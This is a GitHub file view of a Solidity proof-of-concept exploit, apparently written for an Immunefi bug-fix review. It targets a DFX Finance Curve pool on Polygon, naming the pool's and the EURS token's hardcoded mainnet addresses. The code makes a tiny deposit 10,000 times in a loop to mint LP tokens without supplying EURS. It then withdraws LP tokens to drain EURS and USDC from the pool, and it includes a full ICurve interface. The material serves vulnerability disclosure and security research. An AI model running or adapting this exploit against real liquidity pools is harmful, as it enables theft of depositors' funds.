forked from immunefi-team/forge-poc-templates
-
Notifications
You must be signed in to change notification settings - Fork 0
/
DFXFinanceBugfixReview.sol
180 lines (156 loc) · 8.41 KB
/
DFXFinanceBugfixReview.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "../src/tokens/Tokens.sol";
contract DFXFinanceBugfixReview is Tokens {
ICurve constant curve_pool = ICurve(0x2385D7aB31F5a470B1723675846cb074988531da);
IERC20 constant EURS = IERC20(0xE111178A87A3BFf0c8d18DECBa5798827539Ae99);
function initiateAttack() external {
console.log("\n>>> Initiate attack\n");
// Deal tokens to attacker
console.log("> Deal 100 EURS and 100 USDC to attacker");
deal(PolygonTokens.USDC, address(this), 100 * 1e6);
deal(EURS, address(this), 100 * 1e2);
uint256 attacker_euro_balance = EURS.balanceOf(address(this));
uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this));
console.log("EURO balance of attacker:", attacker_euro_balance);
console.log("USDC balance of attacker:", attacker_usdc_balance);
uint256 curve_euro_balance = EURS.balanceOf(address(curve_pool));
uint256 curve_usdc_balance = PolygonTokens.USDC.balanceOf(address(curve_pool));
console.log("EURO balance of Curve pool:", curve_euro_balance);
console.log("USDC balance of Curve pool:", curve_usdc_balance);
// Execute attack multiple times to drain pool
_executeAttack();
}
function _executeAttack() internal {
console.log("\n>>> Execute attack\n");
// Approve curve pool to use funds
PolygonTokens.USDC.approve(address(curve_pool), PolygonTokens.USDC.balanceOf(address(this)));
// EURS approval is not needed since calculated amount to deposit is 0
// EURS.approve(address(curve_pool), EURS.balanceOf(address(this)));
uint256 deposit = 18003307228925150;
uint256 minQuoteAmount = 0;
uint256 minBaseAmount = 0;
uint256 maxQuoteAmount = 2852783032400000000000;
uint256 maxBaseAmount = 7992005633260983540235600000000;
uint256 deadline = 1676706352308;
// Deposit small amount in a loop 10,000 times to gain curve LP tokens without depositing EURS
// If gas price is 231 wei = 0.000000231651787155 => Gas = 161 matic
console.log("> Deposit small amount to curve pool 10,000 times");
for (uint256 i = 0; i < 10000; i++) {
curve_pool.deposit(deposit, minQuoteAmount, minBaseAmount, maxQuoteAmount, maxBaseAmount, deadline);
}
uint256 attacker_euro_balance = EURS.balanceOf(address(this));
uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this));
console.log("EURO balance of attacker:", attacker_euro_balance);
console.log("USDC balance of attacker:", attacker_usdc_balance);
console.log("> Withdraw curve pool LP tokens");
uint256 curvesToBurn = curve_pool.balanceOf(address(this));
console.log("CURVE balance of attacker:", curvesToBurn);
// Withdraw curve LP tokens to receive proportion of liquidity in pool of EURS and USDC
curve_pool.withdraw(curvesToBurn, deadline);
_completeAttack();
}
function _completeAttack() internal {
console.log("\n>>> Attack complete\n");
uint256 attacker_euro_balance = EURS.balanceOf(address(this));
uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this));
console.log("EURO balance of attacker:", attacker_euro_balance);
console.log("USDC balance of attacker:", attacker_usdc_balance);
uint256 curve_euro_balance = EURS.balanceOf(address(curve_pool));
uint256 curve_usdc_balance = PolygonTokens.USDC.balanceOf(address(curve_pool));
console.log("EURO balance of Curve pool:", curve_euro_balance);
console.log("USDC balance of Curve pool:", curve_usdc_balance);
}
}
interface ICurve {
event Approval(address indexed _owner, address indexed spender, uint256 value);
event AssetIncluded(address indexed numeraire, address indexed reserve, uint256 weight);
event AssimilatorIncluded(
address indexed derivative, address indexed numeraire, address indexed reserve, address assimilator
);
event EmergencyAlarm(bool isEmergency);
event Flash(address indexed from, address indexed to, uint256 value0, uint256 value1, uint256 paid0, uint256 paid1);
event FrozenSet(bool isFrozen);
event OwnershipTransfered(address indexed previousOwner, address indexed newOwner);
event ParametersSet(uint256 alpha, uint256 beta, uint256 delta, uint256 epsilon, uint256 lambda);
event PartitionRedeemed(address indexed token, address indexed redeemer, uint256 value);
event Trade(
address indexed trader,
address indexed origin,
address indexed target,
uint256 originAmount,
uint256 targetAmount,
int128 rawProtocolFee
);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address _owner, address _spender) external view returns (uint256 allowance_);
function approve(address _spender, uint256 _amount) external returns (bool success_);
function assimilator(address _derivative) external view returns (address assimilator_);
function balanceOf(address _account) external view returns (uint256 balance_);
function curve()
external
view
returns (int128 alpha, int128 beta, int128 delta, int128 epsilon, int128 lambda, uint256 totalSupply);
function decimals() external view returns (uint8);
function deposit(
uint256 _deposit,
uint256 _minQuoteAmount,
uint256 _minBaseAmount,
uint256 _maxQuoteAmount,
uint256 _maxBaseAmount,
uint256 _deadline
) external returns (uint256, uint256[] memory);
function derivatives(uint256) external view returns (address);
function emergency() external view returns (bool);
function emergencyWithdraw(uint256 _curvesToBurn, uint256 _deadline)
external
returns (uint256[] memory withdrawals_);
function excludeDerivative(address _derivative) external;
function flash(address recipient, uint256 amount0, uint256 amount1, bytes memory data) external;
function frozen() external view returns (bool);
function liquidity() external view returns (uint256 total_, uint256[] memory individual_);
function name() external view returns (string memory);
function numeraires(uint256) external view returns (address);
function originSwap(
address _origin,
address _target,
uint256 _originAmount,
uint256 _minTargetAmount,
uint256 _deadline
) external returns (uint256 targetAmount_);
function owner() external view returns (address);
function reserves(uint256) external view returns (address);
function setAssimilator(address _baseCurrency, address _baseAssim, address _quoteCurrency, address _quoteAssim)
external;
function setEmergency(bool _emergency) external;
function setFrozen(bool _toFreezeOrNotToFreeze) external;
function setParams(uint256 _alpha, uint256 _beta, uint256 _feeAtHalt, uint256 _epsilon, uint256 _lambda) external;
function supportsInterface(bytes4 _interface) external pure returns (bool supports_);
function symbol() external view returns (string memory);
function targetSwap(
address _origin,
address _target,
uint256 _maxOriginAmount,
uint256 _targetAmount,
uint256 _deadline
) external returns (uint256 originAmount_);
function totalSupply() external view returns (uint256 totalSupply_);
function transfer(address _recipient, uint256 _amount) external returns (bool success_);
function transferFrom(address _sender, address _recipient, uint256 _amount) external returns (bool success_);
function transferOwnership(address _newOwner) external;
function viewCurve()
external
view
returns (uint256 alpha_, uint256 beta_, uint256 delta_, uint256 epsilon_, uint256 lambda_);
function viewDeposit(uint256 _deposit) external view returns (uint256, uint256[] memory);
function viewOriginSwap(address _origin, address _target, uint256 _originAmount)
external
view
returns (uint256 targetAmount_);
function viewTargetSwap(address _origin, address _target, uint256 _targetAmount)
external
view
returns (uint256 originAmount_);
function viewWithdraw(uint256 _curvesToBurn) external view returns (uint256[] memory);
function withdraw(uint256 _curvesToBurn, uint256 _deadline) external returns (uint256[] memory withdrawals_);
}